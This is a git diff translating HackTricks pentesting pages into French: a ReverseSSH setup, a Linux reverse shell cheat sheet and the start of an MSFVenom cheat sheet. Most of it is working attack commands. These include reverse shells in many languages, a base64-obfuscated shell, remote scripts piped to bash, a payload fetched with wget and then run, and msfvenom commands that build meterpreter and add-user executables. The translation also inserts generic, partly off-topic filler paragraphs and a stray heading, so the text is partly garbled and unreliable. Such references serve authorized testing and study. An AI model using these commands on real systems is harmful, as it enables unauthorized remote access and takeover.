compressés upx. Pour d'autres binaires, vérifiez la [page des versions](https://github.com/Fahrj/reverse-ssh/releases/latest/). -1. Prepare locally to catch the ssh port forwarding request: +1. Préparez localement pour capturer la demande de redirection de port ssh: {% code overflow="wrap" %} ```bash @@ -81,7 +81,7 @@ wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_revers ``` {% endcode %} -* (2a) Linux target: +* (2a) Cible Linux: {% code overflow="wrap" %} ```bash @@ -92,7 +92,7 @@ wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_revers ``` {% endcode %} -* (2b) Windows 10 target (for earlier versions, check [project readme](https://github.com/Fahrj/reverse-ssh#features)): +* (2b) Cible Windows 10 (pour les versions antérieures, vérifiez le [lisez-moi du projet](https://github.com/Fahrj/reverse-ssh#features)): {% code overflow="wrap" %} ```bash @@ -101,10 +101,7 @@ certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/d reverse-ssh.exe -p 4444 kali@10.0.0.2 ``` -{% endcode %} - -* If the ReverseSSH port forwarding request was successful, you should now be able to log in with the default password `letmeinbrudipls` in the context of the user running `reverse-ssh(.exe)`: - +* Si la demande de transfert de port ReverseSSH a réussi, vous devriez maintenant pouvoir vous connecter avec le mot de passe par défaut `letmeinbrudipls` dans le contexte de l'utilisateur exécutant `reverse-ssh(.exe)` : ```bash # Interactive shell access ssh -p 8888 127.0.0.1 @@ -112,23 +109,20 @@ ssh -p 8888 127.0.0.1 # Bidirectional file transfer sftp -P 8888 127.0.0.1 ``` +## Pas de TTY -## No TTY - -If for some reason you cannot obtain a full TTY you **still can interact with programs** that expect user input. In the following example, the password is passed to `sudo` to read a file: - +Si pour une raison quelconque vous ne pouvez pas obtenir un TTY complet, vous **pouvez toujours interagir avec les programmes** qui attendent une entrée utilisateur. Dans l'exemple suivant, le mot de passe est passé à `sudo` pour lire un fichier : ```bash expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "";send "\r\n";interact' ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live). +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/generic-methodologies-and-resources/shells/linux.md b/generic-methodologies-and-resources/shells/linux.md index 83001dd55..7f7d5e73c 100644 --- a/generic-methodologies-and-resources/shells/linux.md +++ b/generic-methodologies-and-resources/shells/linux.md @@ -4,22 +4,21 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). -**If you have questions about any of these shells you could check them with** [**https://explainshell.com/**](https://explainshell.com) +**Si vous avez des questions sur l'un de ces shells, vous pouvez les vérifier avec** [**https://explainshell.com/**](https://explainshell.com) -## Full TTY +## TTY complet -**Once you get a reverse shell**[ **read this page to obtain a full TTY**](full-ttys.md)**.** +**Une fois que vous avez un shell inversé**[ **lisez cette page pour obtenir un TTY complet**](full-ttys.md)**.** ## Bash | sh - ```bash curl https://reverse-shell.sh/1.1.1.1:3000 | bash bash -i >& /dev/tcp// 0>&1 @@ -32,11 +31,9 @@ exec 5<>/dev/tcp//; while read line 0<&5; do $line 2>&5 >&5; #after getting the previous shell to get the output to execute exec >&0 ``` +N'oubliez pas de vérifier avec d'autres shells: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh et bash. -Don't forget to check with other shells: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, and bash. - -### Symbol safe shell - +### Shell sûr pour les symboles ```bash #If you need a more stable connection do: bash -c 'bash -i >& /dev/tcp// 0>&1' @@ -45,37 +42,33 @@ bash -c 'bash -i >& /dev/tcp// 0>&1' #B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0 echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null ``` +#### Explication de Shell -#### Shell explanation - -1. **`bash -i`**: This part of the command starts an interactive (`-i`) Bash shell. -2. **`>&`**: This part of the command is a shorthand notation for **redirecting both standard output** (`stdout`) and **standard error** (`stderr`) to the **same destination**. -3. **`/dev/tcp//`**: This is a special file that **represents a TCP connection to the specified IP address and port**. - * By **redirecting the output and error streams to this file**, the command effectively sends the output of the interactive shell session to the attacker's machine. -4. **`0>&1`**: This part of the command **redirects standard input (`stdin`) to the same destination as standard output (`stdout`)**. - -### Create in file and execute +1. **`bash -i`**: Cette partie de la commande démarre un shell interactif (`-i`) Bash. +2. **`>&`**: Cette partie de la commande est une notation abrégée pour **rediriger à la fois la sortie standard** (`stdout`) et **l'erreur standard** (`stderr`) vers la **même destination**. +3. **`/dev/tcp//`**: Il s'agit d'un fichier spécial qui **représente une connexion TCP à l'adresse IP et au port spécifiés**. + * En **redirigeant les flux de sortie et d'erreur vers ce fichier**, la commande envoie efficacement la sortie de la session de shell interactive à la machine de l'attaquant. +4. **`0>&1`**: Cette partie de la commande **redirige l'entrée standard (`stdin`) vers la même destination que la sortie standard (`stdout`)**. +### Créer un fichier et exécuter ```bash echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1/ 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh; wget http:///shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh ``` +## Shell Avancé -## Forward Shell +Il peut arriver que vous ayez une **RCE dans une application Web sur une machine Linux**, mais en raison de règles Iptables ou d'autres types de filtrage, **vous ne pouvez pas obtenir de shell inversé**. Ce "shell" vous permet de maintenir un shell PTY via cette RCE en utilisant des pipes à l'intérieur du système victime.\ +Vous pouvez trouver le code sur [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell) -You might find cases where you have an **RCE in a web app in a Linux machine** but due to Iptables rules or other kinds of filtering **you cannot get a reverse shell**. This "shell" allows you to maintain a PTY shell through that RCE using pipes inside the victim system.\ -You can find the code in [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell) +Vous devez simplement modifier: -You just need to modify: +* L'URL de l'hôte vulnérable +* Le préfixe et le suffixe de votre payload (le cas échéant) +* La façon dont la charge utile est envoyée (en-têtes? données? informations supplémentaires?) -* The URL of the vulnerable host -* The prefix and suffix of your payload (if any) -* The way the payload is sent (headers? data? extra info?) - -Then, you can just **send commands** or even **use the `upgrade` command** to get a full PTY (note that pipes are read and written with an approximate 1.3s delay). +Ensuite, vous pouvez simplement **envoyer des commandes** ou même **utiliser la commande `upgrade`** pour obtenir un PTY complet (notez que les pipes sont lus et écrits avec un délai approximatif de 1,3 seconde). ## Netcat - ```bash nc -e /bin/sh nc | /bin/sh #Blind @@ -83,42 +76,36 @@ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc >/tmp nc | /bin/bash | nc rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0 1>/tmp/bkpipe ``` - ## gsocket -Check it in [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/) - +Vérifiez-le sur [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/) ```bash bash -c "$(curl -fsSL gsocket.io/x)" ``` - ## Telnet +Telnet est un protocole de communication qui permet d'accéder à une machine distante via le réseau. Il est souvent utilisé pour se connecter à des serveurs distants et exécuter des commandes à distance. Cependant, il est important de noter que Telnet n'est pas sécurisé car les données sont envoyées en clair, ce qui signifie que toute personne capable d'intercepter le trafic réseau peut voir les informations envoyées. Il est donc recommandé d'utiliser SSH à la place de Telnet pour des raisons de sécurité. ```bash telnet | /bin/sh #Blind rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet >/tmp/f telnet | /bin/bash | telnet rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0 1>/tmp/bkpipe ``` - ## Whois -**Attacker** - +**Attaquant** ```bash while true; do nc -l ; done ``` +Pour envoyer la commande, écrivez-la, appuyez sur Entrée et appuyez sur CTRL+D (pour arrêter STDIN) -To send the command write it down, press enter and press CTRL+D (to stop STDIN) - -**Victim** - +**Victime** ```bash export X=Connected; while true; do X=`eval $(whois -h -p "Output: $X")`; sleep 1; done ``` - ## Python +Python est un langage de programmation interprété de haut niveau, orienté objet et multiplateforme. Il est souvent utilisé pour l'automatisation de tâches, le développement web, l'analyse de données et la création de scripts. Python est également largement utilisé dans le domaine de la sécurité informatique pour l'écriture de scripts d'exploitation et d'outils de test de vulnérabilités. Il est facile à apprendre et dispose d'une grande communauté de développeurs qui contribuent à de nombreux projets open source. ```bash #Linux export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' @@ -126,23 +113,25 @@ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOC #IPv6 python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");' ``` - ## Perl +Perl est un langage de programmation interprété, souvent utilisé pour l'automatisation de tâches système et la manipulation de fichiers. Il est également utilisé dans le développement web pour la création de scripts CGI. Perl est un langage très flexible et puissant, avec une syntaxe concise et expressive. Il est souvent utilisé dans les outils de hacking en raison de sa capacité à manipuler facilement les chaînes de caractères et les expressions régulières. ```bash perl -e 'use Socket;$i="";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' ``` - ## Ruby +Ruby est un langage de programmation interprété, orienté objet et dynamique. Il est souvent utilisé pour le développement web et est également populaire dans le domaine de la sécurité informatique en raison de sa flexibilité et de sa facilité d'utilisation. Ruby est souvent utilisé pour écrire des scripts de shell et des outils de piratage. ```bash ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ``` - ## PHP +## Français + +PHP est un langage de script côté serveur populaire pour la création de sites web dynamiques. Il est souvent utilisé en conjonction avec des bases de données pour stocker et récupérer des informations. Les vulnérabilités courantes de PHP incluent les injections SQL, les failles de sécurité de la session et les vulnérabilités de téléchargement de fichiers. Les attaquants peuvent également exploiter des vulnérabilités dans les applications PHP pour exécuter du code malveillant sur le serveur. Il est important de maintenir les versions de PHP à jour et de suivre les meilleures pratiques de sécurité pour minimiser les risques de compromission. ```php // Using 'exec' is the most common method, but assumes that the file descriptor will be 3. // Using this method may lead to instances where the connection reaches out to the listener and then closes. @@ -154,39 +143,39 @@ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' /dev/tcp/10.10.14.8/4444 0>&1'"); ?> ``` - ## Java +Java est un langage de programmation orienté objet populaire utilisé pour développer des applications pour une variété de plates-formes, y compris les ordinateurs de bureau, les serveurs, les téléphones portables et les appareils embarqués. Il est également utilisé pour développer des applications Web et des applications pour les plates-formes cloud. Java est connu pour sa portabilité, sa sécurité et sa fiabilité. Il est souvent utilisé pour développer des applications d'entreprise et des applications pour les services financiers. ```bash r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() ``` - ## Ncat +Ncat est un utilitaire de ligne de commande qui permet de lire et écrire des données sur des connexions réseau à l'aide de protocoles TCP ou UDP. Il peut être utilisé pour créer des connexions réseau, écouter des ports pour des connexions entrantes et transférer des données entre des connexions. Ncat peut également être utilisé pour créer des tunnels réseau chiffrés à l'aide de SSL ou TLS. Cet outil est très utile pour les tests de pénétration et les activités de hacking. ```bash victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl attacker> ncat -v 10.0.0.22 4444 --ssl ``` - ## Golang +Golang est un langage de programmation open source créé par Google en 2007. Il est conçu pour être simple, efficace et facile à apprendre. Golang est souvent utilisé pour développer des applications réseau et des outils de ligne de commande en raison de sa vitesse et de sa capacité à gérer de multiples connexions simultanément. Il est également de plus en plus populaire pour le développement de microservices et d'applications cloud-native en raison de sa facilité de déploiement et de sa faible consommation de ressources. ```bash echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go ``` - ## Lua +Lua est un langage de programmation léger, rapide et facile à intégrer à d'autres langages. Il est souvent utilisé pour écrire des scripts dans des jeux vidéo et des applications web. Lua est également utilisé comme langage de script pour les serveurs d'applications et les applications embarquées. Il est connu pour sa simplicité, sa flexibilité et sa performance. ```bash #Linux lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" #Windows & Linux lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' ``` - ## NodeJS +NodeJS est une plateforme logicielle open-source qui permet d'exécuter du code JavaScript côté serveur. Elle est basée sur le moteur JavaScript V8 de Google et est utilisée pour créer des applications web, des outils en ligne de commande et des serveurs. NodeJS est également utilisé pour créer des applications de type API et pour interagir avec des bases de données. ```javascript (function(){ var net = require("net"), @@ -229,19 +218,15 @@ or https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py ``` - ## OpenSSL -The Attacker (Kali) - +L'attaquant (Kali) ```bash openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate openssl s_server -quiet -key key.pem -cert cert.pem -port #Here you will be able to introduce the commands openssl s_server -quiet -key key.pem -cert cert.pem -port #Here yo will be able to get the response ``` - -The Victim - +La Victime ```bash #Linux openssl s_client -quiet -connect :|/bin/bash|openssl s_client -quiet -connect : @@ -249,51 +234,43 @@ openssl s_client -quiet -connect :|/bin/bash|openssl s_clien #Windows openssl.exe s_client -quiet -connect :|cmd.exe|openssl s_client -quiet -connect : ``` - ## **Socat** [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries) -### Bind shell - +### Shell de liaison ```bash victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane attacker> socat FILE:`tty`,raw,echo=0 TCP::1337 ``` - -### Reverse shell - +### Shell inversé ```bash attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane ``` - ## Awk +Awk est un outil de traitement de texte qui permet de manipuler et de transformer des données. Il est souvent utilisé pour extraire des informations d'un fichier texte ou pour effectuer des calculs sur ces données. Awk est un langage de programmation complet avec des structures de contrôle, des fonctions et des tableaux. Il est disponible sur la plupart des systèmes Unix et Linux. ```bash awk 'BEGIN {s = "/inet/tcp/0//"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null ``` - ## Finger -**Attacker** - +**Attaquant** ```bash while true; do nc -l 79; done ``` +Pour envoyer la commande, écrivez-la, appuyez sur Entrée et appuyez sur CTRL+D (pour arrêter STDIN) -To send the command write it down, press enter and press CTRL+D (to stop STDIN) - -**Victim** - +**Victime** ```bash export X=Connected; while true; do X=`eval $(finger "$X"@ 2> /dev/null')`; sleep 1; done export X=Connected; while true; do X=`eval $(finger "$X"@ 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done ``` - ## Gawk +Gawk est un outil de traitement de texte qui permet de manipuler des données structurées telles que des fichiers CSV. Il est souvent utilisé pour extraire des informations d'un fichier texte ou pour effectuer des opérations de transformation de données. Gawk est également utile pour automatiser des tâches répétitives telles que la génération de rapports ou la manipulation de fichiers de configuration. ```bash #!/usr/bin/gawk -f @@ -316,39 +293,30 @@ BEGIN { } } ``` - ## Xterm -One of the simplest forms of reverse shell is an xterm session. The following command should be run on the server. It will try to connect back to you (10.0.0.1) on TCP port 6001. - +L'une des formes les plus simples de shell inversé est une session xterm. La commande suivante doit être exécutée sur le serveur. Elle essaiera de se connecter à vous (10.0.0.1) sur le port TCP 6001. ```bash xterm -display 10.0.0.1:1 ``` - -To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system): - +Pour intercepter le xterm entrant, démarrez un serveur X (:1 - qui écoute sur le port TCP 6001). Une façon de faire cela est avec Xnest (à exécuter sur votre système): ```bash Xnest :1 ``` - -You’ll need to authorise the target to connect to you (command also run on your host): - +Vous devrez autoriser la cible à se connecter à vous (la commande est également exécutée sur votre hôte): ```bash xhost +targetip ``` - ## Groovy -by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) NOTE: Java reverse shell also work for Groovy - +par [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) NOTE: Le reverse shell Java fonctionne également pour Groovy ```bash String host="localhost"; int port=8044; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); ``` - -## Bibliography +## Bibliographie {% embed url="https://highon.coffee/blog/reverse-shell-cheat-sheet/" %} @@ -362,10 +330,10 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/generic-methodologies-and-resources/shells/msfvenom.md b/generic-methodologies-and-resources/shells/msfvenom.md index 1d12753b8..beed3081d 100644 --- a/generic-methodologies-and-resources/shells/msfvenom.md +++ b/generic-methodologies-and-resources/shells/msfvenom.md @@ -1,40 +1,45 @@ -# MSFVenom - CheatSheet +# MSFVenom - Fiche de triche
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-[**Follow HackenProof**](https://bit.ly/3xrrDrL) **to learn more about web3 bugs** +[**Suivez HackenProof**](https://bit.ly/3xrrDrL) **pour en savoir plus sur les bugs web3** -🐞 Read web3 bug tutorials +🐞 Lisez les tutoriels de bugs web3 -🔔 Get notified about new bug bounties +🔔 Recevez des notifications sur les nouveaux programmes de primes de bugs -💬 Participate in community discussions +💬 Participez aux discussions de la communauté `msfvenom -p -e -f -i LHOST=` -One can also use the `-a` to specify the architecture or the `--platform` - -## Listing - +On peut également utiliser `-a` pour spécifier l'architecture ou `--platform`. ```bash msfvenom -l payloads #Payloads msfvenom -l encoders #Encoders ``` +## Paramètres courants lors de la création d'un shellcode -## Common params when creating a shellcode +Les paramètres couramment utilisés lors de la création d'un shellcode sont les suivants : +- **Payload**: Le type de charge utile que vous souhaitez utiliser, tel que `windows/meterpreter/reverse_tcp` ou `linux/x86/shell_reverse_tcp`. +- **Encoder**: L'encodeur que vous souhaitez utiliser pour éviter la détection, tel que `shikata_ga_nai` ou `x86/shikata_ga_nai`. +- **Badchars**: Les caractères qui ne doivent pas être inclus dans le shellcode, tels que `\x00` ou `\x0a`. +- **Platform**: La plate-forme cible pour laquelle vous créez le shellcode, telle que `Windows` ou `Linux`. +- **Arch**: L'architecture cible pour laquelle vous créez le shellcode, telle que `x86` ou `x64`. +- **Format**: Le format de sortie que vous souhaitez utiliser, tel que `raw`, `c`, `exe`, `elf` ou `dll`. +- **Outfile**: Le nom de fichier de sortie pour le shellcode. ```bash -b "\x00\x0a\x0d" -f c @@ -42,167 +47,209 @@ msfvenom -l encoders #Encoders EXITFUNC=thread PrependSetuid=True #Use this to create a shellcode that will execute something with SUID ``` - ## **Windows** -### **Reverse Shell** - +### **Shell inversé** ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe ``` - -### Bind Shell - +### Shell de liaison (Bind Shell) ```bash msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f exe > bind.exe ``` - -### Create User - +### Créer un utilisateur ```bash msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe ``` - -### CMD Shell - +### Shell CMD ```bash msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe 